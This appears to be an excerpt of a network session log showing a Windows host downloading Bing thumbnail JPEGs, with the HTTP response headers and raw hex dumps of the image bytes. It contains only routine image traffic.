2024-12-16 14:01:17 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 717562 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: D4AB516022C3432ABA1093552C456E8E Ref B: EWR30EDGE1019 Ref C: 2024-12-16T14:01:17Z Date: Mon, 16 Dec 2024 14:01:16 GMT Connection: close
2024-12-16 14:01:17 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCC8"}!1AQa"q2
2024-12-16 14:01:17 UTC	16384	IN	Data Raw: e0 01 9a ac 15 47 6a 7c 93 66 a0 69 b0 b9 07 9a a5 10 e6 24 db bb 82 05 35 93 e5 e9 8a 88 5c 9c 62 98 d2 b7 af e7 4e c2 b9 61 42 22 82 7a 8a b1 09 66 5e 5b 0b e9 59 be 63 9e 73 53 45 31 0a 32 79 a4 06 95 bb 6d 70 47 38 ae a3 4f b4 9e ed 15 5d 02 0d a3 0d 8e a2 b9 8d 3c f9 81 4e dc f3 da bb 9b 8d 4e 2b 2b 48 77 2a ee 11 8c 8c 72 3e 95 8d 46 d5 ac 54 52 ea 61 78 da 58 f4 d8 63 b2 49 07 98 cb 97 00 f4 1e f5 c8 9b 86 ed c5 69 78 9e 61 79 aa 3c b9 27 71 cf 35 91 32 10 dc 72 2b 48 2b 45 09 ee 2b b1 76 db d7 b9 c5 3e e5 f2 a1 71 c5 47 18 2b f5 a9 23 56 2d f3 53 01 ae 37 2a 9f c2 a5 5d db 42 8e 9f 4a 96 18 0c 9d 14 d5 bb 7d 3e 6d c1 99 0e 33 52 e4 91 44 71 a9 0a 05 3f 06 b4 e4 b1 54 4c 8e be 86 a0 8e df e6 c1 35 97 32 28 a5 21 f9 70 2a b5 c0 dd c5 68 df 46 16 3e Data Ascii: Gj\|fi$5\bNaB"zf^[YcsSE12ympG8O]<NN++Hwr>FTRaxXcIixay<'q52r+H+E+v>qG+#V-S7]BJ}>m3RDq?TL52(!p*hF>
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 4f 88 de 2f 86 13 75 6f a2 db 6a b7 11 dc 27 d9 ed 25 b3 11 34 ad 28 e0 23 a0 0c 85 5c 71 9c a9 c6 49 af 57 0b 80 ab 5a 1c cb 6f 53 cb c4 63 69 d2 9d 8e 93 52 bc bf b0 d1 0f d8 6e 1a f7 ce b4 17 08 92 ee 43 75 19 c2 bb 00 4e 15 97 82 01 c8 3b 71 91 9a d1 f8 73 ac 1d 7b c1 b6 ba 93 2e d6 6f dd b2 ee 0d b4 af 04 64 7b f6 ed d2 ad d9 ff 00 67 f8 bf c1 aa 74 e9 8c 9a fd 84 01 35 2b 39 ad cc 20 4c 15 3c c8 0c 64 2f cb 86 6c 32 f2 0a f7 a9 bc 2f a0 c1 a2 59 b6 99 6d 14 30 22 9f 33 ca 8c 93 96 23 e6 3c fa 01 8e 3a e3 35 f4 5c 23 88 8e 13 35 8d 39 dd 39 5e 3f 7e df 8a 56 3c 9e 22 a5 2c 56 5d 2a 90 fb 36 7f d7 c8 b1 ef 49 ee 4d 4d 2c 4c a7 a5 42 ca 47 6a fd 95 1f 98 b4 21 34 9b cf 4a 92 38 8b 0c e6 86 81 c7 4f 9a 80 b3 22 dd ef 47 9a a3 bd 3e 3b 69 1d b1 b4 d4 92 Data Ascii: O/uoj'%4(#\qIWZoSciRnCuN;qs{.od{gt5+9 L<d/l2/Ym0"3#<:5\#599^?~V<",V]*6IMM,LBGj!4J8O"G>;i
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: f5 ac fb c1 70 93 f9 71 a1 66 ab 56 d7 b3 e3 0c ab f9 55 b0 f1 bb 07 e0 10 28 bb 45 59 19 96 eb 33 7c b8 39 ab 56 64 82 77 f1 ed 53 4f 34 6b f3 0e b5 9b 79 72 fe 76 54 64 9a 5b 86 c6 c2 4a a3 82 6a 0d 49 23 9a dc f3 83 ed 59 f6 b7 0f 2e 43 2e d6 1d 8d 3e 49 b1 f2 b9 c1 ed 47 28 5f 42 97 d8 62 95 99 67 07 1d 9b 35 87 e2 7d 0d 23 4c 03 e6 c2 c3 ae 39 07 de ba 0b a6 0c d9 24 e7 d6 ab 5d 62 48 c4 64 e5 7b d6 b1 93 4c 86 93 38 ff 00 0e 68 f7 36 97 67 ec 31 23 29 39 62 cb 9c 7d 0d 7a 1d 8d cc a9 02 ab 43 b4 81 e9 55 ac a5 8a 08 94 46 17 a7 40 28 ba b8 95 55 a4 da c1 7f d9 1d a8 9c b9 9e a1 18 a8 a3 55 9b cd 87 e6 35 07 9e 22 c8 50 01 15 46 d2 e0 49 1f 12 96 3d c8 a9 64 02 48 ce e1 cf 63 de b3 b1 57 2c a6 a0 bb 79 14 bf da 31 93 80 45 72 9a 94 9a aa 6a cb 15 a5 Data Ascii: pqfVU(EY3\|9VdwSO4kyrvTd[JjI#Y.C.>IG(_Bbg5}#L9$]bHd{L8h6g1#)9b}zCUF@(UU5"PFI=dHcW,y1Erj
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 7b 09 25 b6 42 81 99 24 8a 46 59 57 27 e6 46 03 27 0a 72 00 e0 10 2b a4 f0 d9 be d4 fc 1f 15 e3 43 34 bf 67 5c ca d1 cc 64 7b 98 58 e3 cf 56 cf df 50 40 da 7a 02 3b 13 5f 2d 57 0a e0 a3 34 d5 9e 9f a7 e9 6f e9 9e f2 ad 76 e2 d6 c7 ac f8 4f 56 46 b7 f2 a6 b8 5b 80 96 ac 1e 42 e1 65 00 93 c9 03 3d 0f e0 02 e3 af 35 17 8b ae 34 bd 4f c4 0b a4 5f 45 75 3a b5 af da e4 94 c3 be 30 3e e9 8f cc c8 da 64 dd b8 8e 8c a0 f5 35 85 e1 2d d6 af 04 57 42 db ec b2 5a b8 b6 92 44 18 70 0f 04 13 dc 82 01 5e 99 15 96 8d 27 fc 2c ef 36 d2 36 5b 0d 42 cd ac e4 da e5 5a da 48 99 64 80 ae 4f cc a4 33 20 3d 46 08 e9 5e 5c 29 c7 9a 5a ec 9b fe bf af 23 a6 52 95 97 99 b7 6f a1 5b e9 1a 54 52 c5 e6 43 05 95 93 08 2d 61 99 99 6d 50 1d c2 34 2c 49 ca e4 f2 39 03 d8 d6 26 a7 72 d1 7c Data Ascii: {%B$FYW'F'r+C4g\d{XVP@z;_-W4ovOVF[Be=54O_Eu:0>d5-WBZDp^',66[BZHdO3 =F^\)Z#Ro[TRC-amP4,I9&r\|
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: df 68 c1 91 d0 30 64 4e 40 a6 3b bb 77 ad 0b 88 60 8c 1f 2c 03 ee 7b 55 09 00 cf e3 5b c5 a6 61 2b a2 26 5c f5 34 79 63 8a 77 02 8c 66 ac 91 9e 58 cf 5a 5f 2f d6 9d 8e 69 71 4e e0 31 14 7a 53 c0 03 b5 2f f9 e6 8e 94 80 28 cd 1e f4 50 01 ef 47 14 1a 6d 01 71 d9 14 53 79 34 7e 14 0d 0e 06 94 31 e8 69 bf 8d 1d a8 18 ed d8 ef 4b e6 13 4c 34 0e 94 58 35 1f bd bb d1 e6 53 33 45 2e 50 bb 1f e6 52 6e a4 c5 26 0d 16 15 c7 ee 22 97 cc 34 c0 3b 52 e2 8b 0c 77 98 dd 29 7c c3 e9 4c c1 34 60 d2 69 05 d8 fd e7 8a 76 ef 7a 8f 14 7d 68 b0 d3 b1 2e ec 72 69 ca 6a 1c 9a 7c 7b 99 80 50 4b 13 80 07 7a 9b 0d 48 92 92 47 48 e1 79 a4 91 63 8a 31 99 24 76 0a 88 3d 59 8f 03 f1 af 1a f8 9d f1 da df 49 d6 a7 d1 bc 27 63 6b a8 cb 6f b9 66 d4 6e 5d be ce ae 3a f9 6a a4 19 00 39 19 27 Data Ascii: h0dN@;w`,{U[a+&\4ycwfXZ_/iqN1zS/(PGmqSy4~1iKL4X5S3E.PRn&"4;Rw)\|L4`ivz}h.rij\|{PKzHGHyc1$v=YI'ckofn]:j9'
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: bd f0 cf 8b 2e 34 bd 2f c3 3a f4 d7 b2 58 dd 5b c9 fd 9e 2e 55 b1 0c 70 aa 3e 65 69 22 08 cc 7e 40 9b b1 83 93 4d 9b 47 f1 75 c7 c4 0f 10 78 8e f7 c1 f6 16 63 52 99 2e d2 d5 3f 71 a3 a2 9d d1 02 64 90 6d 0e 64 47 27 0c 3f 78 48 23 bd 70 d4 78 8c 35 0f 6b 3d 5f f4 8d a2 a1 39 b8 c5 9e 81 fb 20 49 26 a7 a4 df 6a b7 5a 54 56 37 1a 8b 45 71 e4 c6 1b ec d0 30 8f 12 34 0a 47 ee cc 8c 72 d1 f1 b7 6e 40 c1 ad cf 8d d7 5a 7e 97 22 69 9a b4 da 7d a5 97 89 21 3a 0b 4b 36 f5 8c 99 dc ca 25 d8 ab 8f 90 ab ee c6 4b 16 04 56 57 c2 9f 16 5c cd 15 de ab 71 6d 24 85 c8 17 66 19 23 67 b3 95 c0 fd e3 c4 31 88 dc 46 c7 cc 39 3f 2f 50 a0 57 75 e2 a8 f4 8d 47 c2 f2 49 ae 59 5a ea 36 ff 00 64 79 d4 7d 9d 27 25 76 e4 b4 01 88 cb 91 8d b8 61 b8 e0 66 8c 16 22 18 cc 1c a9 27 cb 28 Data Ascii: .4/:X[.Up>ei"~@MGuxcR.?qdmdG'?xH#px5k=_9 I&jZTV7Eq04Grn@Z~"i}!:K6%KVW\qm$f#g1F9?/PWuGIYZ6dy}'%vaf"'(
2024-12-16 14:01:18 UTC	16067	IN	Data Raw: 14 db 7b 88 9c 10 a7 f1 15 ab a6 cc 8c 70 dc 1c 75 f5 ac a5 27 63 44 91 66 2d 3f ce 8b 6c 7c 0f 5a f0 3f da 13 53 f1 dd af 8a a4 f0 8c 16 1a 7d 95 8c f1 8b b3 7f 1d e3 17 96 d2 37 0c ee 5f 61 fb 33 73 b6 40 55 94 29 56 0d 5f 42 4d 7f 6f 65 67 25 c4 9b 9a 38 50 bb 88 c6 58 8f 45 1d cd 78 5f 8b be 3c df cf 67 2d bd af 84 35 6b 9b ab 2b a6 89 ee ec f4 76 96 2b 19 04 ec a5 5c c8 77 14 30 ec 1b 95 76 b3 82 01 ed 5e 5e 3e af 2d 26 af 67 f9 9d 34 62 b9 93 3a cf 1c 78 2f 5d f8 81 f0 fe 2d 3b c3 5a ad 8e 82 75 19 15 6f 6e 2e e2 17 17 90 5a 86 db 33 5b 10 4e 18 90 42 cb fc 40 f1 8c d1 a6 f8 0b 5e f0 66 9b 0e 91 a4 78 97 50 d4 74 cb 37 37 f7 13 6b 53 a7 da af 00 65 12 45 e7 aa 81 12 91 86 03 07 1b 58 6e c3 57 33 f0 17 c4 12 68 92 6a 2d e1 dd 26 eb 57 b5 ba 49 b5 1f Data Ascii: {pu'cDf-?l\|Z?S}7_a3s@U)V_BMoeg%8PXEx_<g-5k+v+\w0v^^>-&g4b:x/]-;Zuon.Z3[NB@^fxPt77kSeEXnW3hj-&WI
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 1e da 3d 45 74 f9 ad 63 78 de 46 88 45 6c e9 8f dd cd 10 3e 64 65 d9 5c a9 04 8c a9 ce 41 15 ea d4 c7 53 4e 0a 9f bc e5 d9 f4 ee 72 c6 8c a5 77 2d 12 3b 06 60 0d 06 27 65 04 10 73 d0 0a 2e 20 91 1b 71 1f 2e 78 34 90 c7 34 8d 88 fa d7 a0 60 36 58 66 8e 3d cc 30 33 eb 4d 57 cf f8 d5 b8 6c 6f 5d ff 00 79 1b b0 a6 49 6f e5 70 f0 be e1 d7 8a 5c c8 39 4a ec 01 a6 b2 8f 4a 7d c0 50 7e 45 d9 c7 35 08 49 1b b9 3d ea 84 c5 65 1d bf 1e 68 66 0a 31 cd 09 05 d3 f4 43 51 32 b8 6d ac 08 3e 94 0b e4 3b 73 13 9c 62 9e 26 3e 94 43 12 9f bc 4e 7d 2a 4f 20 63 21 a9 85 98 df b4 b0 e0 8a 6b 4f bb 82 4f 34 e6 88 01 93 51 48 81 5b 2a 33 4b 41 dd 8c 24 ee eb 46 d2 7f 1a 63 16 3c e3 14 d6 2e 3f 8a aa c4 12 fd ce 49 a7 2b 29 e8 7f 5a ac 77 1e b4 2e 41 eb 4f 94 57 2d 82 0d 37 18 35 Data Ascii: =EtcxFEl>de\ASNrw-;`'es. q.x44`6Xf=03MWlo]yIop\9JJ}P~E5I=ehf1CQ2m>;sb&>CN}O c!kOO4QH[3KA$Fc<.?I+)Zw.AOW-75
2024-12-16 14:01:18 UTC	16384	IN	Data Raw: 74 d3 4d a1 c2 d7 45 35 3b 58 6e 84 57 09 24 71 e7 7e f3 92 de 67 98 40 91 97 00 ae 58 63 24 7a 4f 87 6c f5 3d 4b 52 d5 2c f5 9f 0d ea d2 e8 7e 24 95 20 d5 af 20 8e 3b 9b e8 59 59 4d ad cc d3 ca c3 c8 92 31 d1 94 12 db 70 3a f3 e5 de 29 f0 e7 8a ad fc 62 9a 93 f8 2f 4e 9b 46 b4 d4 e3 6b 7d 3a 38 64 16 72 5b 37 cf 0c 6b 71 70 ab 21 89 f2 56 38 e4 c1 60 39 0d 8a ef 34 59 fc 6d e1 7b cb bd 73 4e 6d 36 db 4a ba b7 91 5b 4c 9a f1 64 4b 49 d2 41 21 4b 84 64 69 25 55 55 20 10 8b b4 b0 45 e0 62 b9 2b 4a 54 2b c7 9d fc af f2 fe be ed f7 e9 a3 08 d5 8b e5 fb cf 4b d5 bc 0d a8 c3 e1 3d 4e eb 5c d5 35 6f 10 5a 5b 68 ed f6 99 f5 80 24 3a 91 50 14 85 81 88 f2 4c 61 4b 07 60 ce 76 ee 27 27 9f 27 d5 b5 5b cd 23 c7 9a 7d 95 bb cd 67 05 bd 85 cd dd c4 3a 3c 90 3f 97 1b f3 Data Ascii: tME5;XnW$q~g@Xc$zOl=KR,~$ ;YYM1p:)b/NFk}:8dr[7kqp!V8`94Ym{sNm6J[LdKIA!Kdi%UU Eb+JT+K=N\5oZ[h$:PLaK`v'''[#}g:<?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49747	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:01:20 UTC	346	OUT	GET /th?id=OADD2.10239317301729_1IQTWSVKP22KW7ULM&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-16 14:01:21 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 390340 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 02549ADFF0CC4596B5C92C816FDDBE2E Ref B: EWR30EDGE1610 Ref C: 2024-12-16T14:01:20Z Date: Mon, 16 Dec 2024 14:01:20 GMT Connection: close
2024-12-16 14:01:21 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 33 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 32 3a 30 36 3a 32 34 20 31 31 3a 31 36 3a 35 37 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 23.3 (Windows)2022:06:24 11:16:578C
2024-12-16 14:01:21 UTC	16384	IN	Data Raw: e7 a5 43 23 d4 66 4f 4a 61 7f 4a a5 11 0a ef 51 b3 53 64 7a 8d df d2 b4 48 81 cc f4 9b ea 2d c7 ad 33 7d 5a 40 5d 8d fb 54 f1 49 ef 59 c9 26 1a ac 47 25 55 84 8d 08 9e a6 57 f5 ac f8 a4 a9 d6 4f 97 ad 31 96 4b d2 17 a8 7c cf 7a 42 f5 40 4f be 9c b2 55 5d f4 aa f4 58 45 d5 93 bd 38 3d 54 47 f7 a7 87 a4 17 2c 87 a5 0d 50 2b fa d0 1a a1 8c b0 1e 9c 1f bd 40 ad de 9d bb 35 2c 68 b0 8f da a4 57 aa aa df 35 48 ad de a5 b1 a2 ca bd 38 3e 2a ae f2 69 43 d4 5c a2 d0 7a 51 25 57 12 53 95 fb d4 dc 09 f7 52 6e a8 b7 fb fe 94 17 a5 71 8f 2d 49 9a 61 6c ff 00 15 37 77 cd 50 d8 c9 94 fe 54 ed de f5 0a b6 69 c0 d4 81 32 9a 72 9a 84 1a 72 9a 43 44 ea 71 52 23 54 0b 52 21 ef 55 71 96 14 fa 53 d4 fa d4 2a d4 f4 aa be a0 49 4e ce 69 ab cd 3a a8 07 50 7d 28 03 34 55 a1 8d f7 Data Ascii: C#fOJaJQSdzH-3}Z@]TIY&G%UWO1K\|zB@OU]XE8=TG,P+@5,hW5H8>iC\zQ%WSRnq-Ial7wPTi2rrCDqR#TR!UqSINi:P}(4U
2024-12-16 14:01:21 UTC	16384	IN	Data Raw: e7 ce be f0 db 09 6c 26 63 cd c5 9b f2 31 9e bb 7a 57 6c ae 1d 46 6b e7 2d 23 c5 b7 76 1a 3f 86 be 2d 59 01 24 da 0b 7f 65 6b 70 47 c9 96 dd b0 09 6f 42 00 07 26 be 87 92 5b 73 e5 cf 69 28 96 d2 ee 25 9e da 55 39 57 46 19 04 1e f4 62 a8 fb 39 5f a0 da b3 38 3f 8f 9a 75 cc 7a 35 97 8b b4 c0 c9 aa f8 62 e4 5e 41 24 7f 7d a3 1c 3a 7b 82 3b 57 6b a2 6b 56 5e 24 f0 ee 9f af e9 b2 09 2d 75 68 04 ca 47 f0 31 1c a9 f7 07 8c 54 97 89 15 cd ac 90 cc 81 d2 45 2a ea 7a 10 47 22 bc df e0 db cb e1 0f 1d 6a 1f 0d 2f a4 0b a6 6a 6c fa 87 87 a4 27 1b 1b 39 78 7f ad 62 bd f8 35 d5 04 b4 77 38 6f da 4f 4a b8 d3 bc 69 06 b7 0c 7b d0 28 49 97 35 89 e1 ed 21 75 9f 0d 78 8e ca 34 53 19 44 b9 4f ef 2b 0e b8 af 52 fd a5 74 89 ee 7c 2a fa 9d b4 44 c9 64 41 65 c6 72 07 5a f3 4f 80 Data Ascii: l&c1zWlFk-#v?-Y$ekpGoB&[si(%U9WFb9_8?uz5b^A$}:{;WkkV^$-uhG1TEzG"j/jl'9xb5w8oOJi{(I5!ux4SDO+Rt\|DdAerZO
2024-12-16 14:01:21 UTC	16384	IN	Data Raw: 79 76 a6 4d 87 c7 2d 6a d9 98 32 df 2a b2 91 d8 00 38 af 42 f0 dd d0 97 44 50 4b 16 89 8a 9c fb 56 d4 74 93 3c bc d2 2d c6 2c d7 43 9e 0d 3d 7a d4 31 1f 94 1a 99 0e 6b a0 f0 c5 3c b5 23 0f 96 9c 05 0c 3e 5a 96 51 5d a9 a4 75 a9 64 15 1e 2b 36 48 c3 cd 30 ad 48 47 a5 23 74 ac a4 2b 11 62 9a c2 a4 6a 43 ef 58 c8 9b 10 32 f6 a2 9f 45 64 d6 a2 32 d5 29 c1 71 52 28 a7 05 a4 c0 62 0a 9a 31 8a 6a 8c 54 c8 05 66 c0 4c 53 d1 73 c5 2a af a5 48 8b 50 c0 45 4a 7a ae 69 ca a0 53 c2 81 50 ca 19 b3 15 22 0c 74 a5 02 95 45 43 01 e8 2a 45 19 a4 8c 7a 54 8a 28 01 54 53 d4 62 91 69 e0 66 95 80 76 31 52 28 f9 69 a1 73 4f 51 da 90 0a 07 a5 3d 45 2c 6b 9e 71 52 05 cf 22 a9 20 23 a0 8c d4 9b 3b d3 4a e2 a8 08 8a d2 11 52 11 eb 4d 23 14 01 19 14 60 d3 a9 08 aa 13 1a 45 26 33 4e Data Ascii: yvM-j28BDPKVt<-,C=z1k<#>ZQ]ud+6H0HG#t+bjCX2Ed2)qR(b1jTfLSsHPEJziSP"tEC*EzT(TSbifv1R(isOQ=E,kqR" #;JRM#`E&3N
2024-12-16 14:01:21 UTC	16384	IN	Data Raw: d6 bd 5f e1 ff 00 c5 75 f0 af 87 b5 1b bd 17 4b 8a 4d 5a f8 05 69 24 5e 10 8f e2 3e b5 26 af 73 e1 c7 d3 ee 2c b5 3b 73 e6 a4 27 6f ca 3e f7 6c 1e d5 a9 f0 6e 7b 4b 7d 26 7f 0f ea ba 05 ac f6 3a 85 b3 bc 37 a6 31 e6 44 d8 e0 13 5c 31 aa ef a3 3d 09 52 f7 75 47 0d 35 ef 8a bc 75 e2 7b 3d 47 57 f2 ee 2f 1e 65 58 a5 0d e5 b2 00 78 0b e9 5d 27 8d 75 0f 89 01 a7 f0 44 da 85 b3 59 2c ca eb 73 74 bb e6 84 7a 2b 75 c5 72 ae b2 5a 5c c7 11 b8 6d b6 77 38 12 c7 90 ca 37 75 e2 bd 20 5d dc df df 59 5a 5d 25 bc 8b 73 85 8e f9 fe fb 7a 6e aa 85 4b de ec 8a 94 ed 6b 1c d5 a9 f1 36 99 63 a9 5b 4b 6d 6a f7 17 2a 23 4b 81 cc 8e b8 fb c3 dc d7 4f e0 bd 5f c2 e6 ce d3 4f d4 6f b5 0b 99 22 00 4f 14 99 25 1f b9 c7 a0 ad 09 20 b2 b4 d6 ee 2c b5 a9 c3 dd 40 a0 24 90 8c ed cf 4e Data Ascii: _uKMZi$^>&s,;s'o>ln{K}&:71D\1=RuG5u{=GW/eXx]'uDY,stz+urZ\mw87u ]YZ]%sznKk6c[Kmj*#KO_Oo"O% ,@$N
2024-12-16 14:01:21 UTC	16384	IN	Data Raw: 0e 06 2a b4 51 0b 6b 65 88 0c 28 51 c7 a0 ac db f8 bc fb 90 40 3b 07 5c 77 a1 b7 2d 58 45 46 3b 0b 05 ea 89 81 43 83 8c 65 b9 a7 5c 79 52 26 42 00 e7 b8 ac fc 00 cc 42 f0 38 a9 a0 94 97 55 45 1b ba 50 37 a8 e9 c1 89 77 0f 4e 95 15 bd b4 ae c2 59 76 c7 9c f5 a9 e6 89 61 b8 df 74 e5 70 32 00 ef 54 35 0b d8 cf dc 2d bb eb c5 34 23 67 4e 3a 56 9d 34 77 7a 88 fb 6e 0e 45 b2 91 82 47 4d de d5 a5 e3 3f 89 3e 33 f1 3d 84 7a 64 fa dd ce 9b a5 c2 36 c5 67 a7 48 60 01 40 c0 05 94 83 d3 de b8 44 9f 2e 49 e4 9e f5 38 b8 ca e0 76 ad 10 ae 46 ba 56 9b 1d c9 95 2c ad de 46 3b 8c b2 0f 31 f3 ea 58 e4 e6 ae c4 24 dc 42 00 80 fa 0c 0a 86 12 4f 35 33 e4 a6 13 ad 0e c5 a9 32 29 52 25 72 67 9c b1 f4 06 a1 92 f1 46 44 62 99 3c 0e 5f d4 9a 58 ed 9d 5b 0c 9d 69 92 ca d2 b3 bf 51 Data Ascii: *Qke(Q@;\w-XEF;Ce\yR&BB8UEP7wNYvatp2T5-4#gN:V4wznEGM?>3=zd6gH`@D.I8vFV,F;1X$BO532)R%rgFDb<_X[iQ
2024-12-16 14:01:21 UTC	16384	IN	Data Raw: 82 ec f4 bf 09 db e9 de 1b b1 9e 16 96 04 1f 68 75 23 ae 39 66 af 96 fe 1f 78 82 2f 0a ea b7 1a be 25 02 3b 66 48 55 7a b3 9e 06 7d 85 4f e1 df 1a eb 33 5b ea 37 10 a4 85 ae e1 2b 71 70 cc 72 09 fe e9 ed 55 28 b6 27 a9 e8 5f b4 77 c5 08 f5 9f 11 4f 61 a5 38 96 c3 4d 06 08 dc 1e 26 94 f0 58 7b 03 d2 ac 7e c8 de 0b 6b bd 62 4f 10 ea 1c ca 87 f7 2c 7f 84 9e f5 e1 71 a3 34 e9 12 3b 49 f3 70 b8 e7 71 3f ad 7d 77 f0 42 ca e7 42 f8 7f 65 60 d0 93 71 70 37 48 48 f9 86 7a 01 f8 56 55 9a 8c 4a a6 b5 d0 ef 35 cd 66 0f 0d da dc 5f 34 fb 63 b6 84 b3 96 fe 23 d8 7e 26 b8 75 f1 38 44 d3 6c ee dd 96 5b f2 6e a4 27 a0 07 91 9a 93 e3 26 9d 3c fa 6d a5 b4 f2 49 e4 cb 3a 99 54 1f e1 1c f3 5e 7f ac ea 2b 7d e2 c9 be cf ba 66 28 b6 f0 a8 1c 2a 8e 38 ae 19 4c e8 84 15 8f 49 9a Data Ascii: hu#9fx/%;fHUz}O3[7+qprU('_wOa8M&X{~kbO,q4;Ipq?}wBBe`qp7HHzVUJ5f_4c#~&u8Dl[n'&<mI:T^+}f(*8LI
2024-12-16 14:01:21 UTC	16067	IN	Data Raw: ac d2 35 3a 0f 09 88 6f 75 4c cc 58 47 0a 96 66 3d 32 3a 55 9d 42 fd 5d d9 d4 0c 13 8a a3 e6 45 a7 78 7d 20 18 f3 a7 f9 9f 1d 7e 95 95 f6 86 2b 9a 62 35 de e7 e5 dd 8c 8a ac d7 6c b2 16 4e 09 f4 f4 aa 6b 70 fb 70 0f 14 09 14 ff 00 17 34 ec 33 4a db 51 9d 23 60 0e d0 4e 7a d7 4d e1 3f 13 48 65 16 b3 ce 57 cd c2 e4 1e c2 b8 4b 89 32 b8 07 ad 2d bc b2 c7 b1 a3 38 60 69 a1 68 7d 2b 79 f1 1b 4b 3e 13 6d 22 d6 ec a4 fe 50 88 30 fe 12 08 e6 b8 6f 88 1e 37 b9 b1 f8 e9 e1 6f 11 59 dc 09 63 d1 b4 f3 6b 74 a4 7d e5 7e a7 ea 05 70 9e 1d 69 6d ec ef 6f a6 c9 ce 02 06 f5 3e 95 52 47 37 57 ed 71 29 c3 63 04 9e f5 af 3b 32 e4 49 9e e3 63 f1 1a fa 1f 13 5c db e9 d7 71 36 98 b1 99 95 8b 61 98 1e 48 e6 a9 69 ff 00 13 52 1d 68 5c c4 66 48 25 56 0c 5d 8e 01 3d c0 af 1f 61 99 Data Ascii: 5:ouLXGf=2:UB]Ex} ~+b5lNkpp43JQ#`NzM?HeWK2-8`ih}+yK>m"P0o7oYckt}~pimo>RG7Wq)c;2Ic\q6aHiRh\fH%V]=a
